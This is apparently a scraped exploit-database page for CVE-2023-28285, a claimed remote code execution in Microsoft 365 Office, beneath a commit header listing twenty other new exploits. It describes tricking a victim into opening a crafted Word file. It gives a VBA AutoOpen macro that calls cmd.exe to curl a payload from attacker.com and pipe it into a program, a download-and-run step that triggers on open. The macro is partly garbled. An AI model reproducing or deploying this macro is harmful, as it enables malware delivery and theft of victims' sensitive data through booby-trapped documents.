ef9b4e5962
20 changes to exploits/shellcodes/ghdb TP-Link TL-WR940N V4 - Buffer OverFlow D-Link DAP-1325 - Broken Access Control Alkacon OpenCMS 15.0 - Multiple Cross-Site Scripting (XSS) Microsoft 365 MSO (Version 2305 Build 16.0.16501.20074) 32-bit - Remote Code Execution (RCE) Microsoft 365 MSO (Version 2305 Build 16.0.16501.20074) 64-bit - Remote Code Execution (RCE) FuguHub 8.1 - Remote Code Execution GZ Forum Script 1.8 - Stored Cross-Site Scripting (XSS) PodcastGenerator 3.2.9 - Blind SSRF via XML Injection POS Codekop v2.0 - Authenticated Remote Code Execution (RCE) Prestashop 8.0.4 - Cross-Site Scripting (XSS) Rukovoditel 3.4.1 - Multiple Stored XSS Sales of Cashier Goods v1.0 - Cross Site Scripting (XSS) spip v4.1.10 - Spoofing Admin account Time Slot Booking Calendar 1.8 - Stored Cross-Site Scripting (XSS) Vacation Rental 1.8 - Stored Cross-Site Scripting (XSS) WBCE CMS 1.6.1 - Open Redirect & CSRF WebsiteBaker v2.13.3 - Directory Traversal WebsiteBaker v2.13.3 - Stored XSS WP AutoComplete 1.0.4 - Unauthenticated SQLi
51 lines
No EOL
1.9 KiB
Text
51 lines
No EOL
1.9 KiB
Text
## Title: Microsoft 365 MSO (Version 2305 Build 16.0.16501.20074) 64-bit - Remote Code Execution (RCE)
|
|
## Author: nu11secur1ty
|
|
## Date: 04.17.2023
|
|
## Vendor: https://www.microsoft.com/
|
|
## Software: https://www.microsoft.com/en-us/microsoft-365/
|
|
## Reference: https://www.crowdstrike.com/cybersecurity-101/remote-code-execution-rce/
|
|
## CVE-2023-28285
|
|
|
|
|
|
## Description:
|
|
The attack itself is carried out locally by a user with authentication
|
|
to the targeted system. An attacker could exploit the vulnerability by
|
|
convincing a victim, through social engineering, to download and open
|
|
a specially crafted file from a website which could lead to a local
|
|
attack on the victim's computer. The attacker can trick the victim to
|
|
open a malicious web page by using a malicious `Word` file for
|
|
`Office-365 API`. After the user will open the file to read it, from
|
|
the API of Office-365, without being asked what it wants to activate,
|
|
etc, he will activate the code of the malicious server, which he will
|
|
inject himself, from this malicious server. Emedietly after this
|
|
click, the attacker can receive very sensitive information! For bank
|
|
accounts, logs from some sniff attacks, tracking of all the traffic of
|
|
the victim without stopping, and more malicious stuff, it depends on
|
|
the scenario and etc.
|
|
STATUS: HIGH Vulnerability
|
|
|
|
[+]Exploit:
|
|
The exploit server must be BROADCASTING at the moment when the victim
|
|
hit the button of the exploit!
|
|
|
|
[+]PoC:
|
|
```cmd
|
|
Sub AutoOpen()
|
|
Call Shell("cmd.exe /S /c" & "curl -s
|
|
http://attacker.com/CVE-2023-28285/PoC.debelui | debelui",
|
|
vbNormalFocus)
|
|
End Sub
|
|
```
|
|
|
|
## FYI:
|
|
The PoC has a price and this report will be uploaded with a
|
|
description and video of how you can reproduce it only.
|
|
|
|
## Reproduce:
|
|
[href](https://github.com/nu11secur1ty/CVE-mitre/tree/main/2023/CVE-2023-28285)
|
|
|
|
## Proof and Exploit
|
|
[href](https://www.nu11secur1ty.com/2023/04/cve-2023-28285-microsoft-office-remote.html)
|
|
|
|
## Time spend:
|
|
01:30:00 |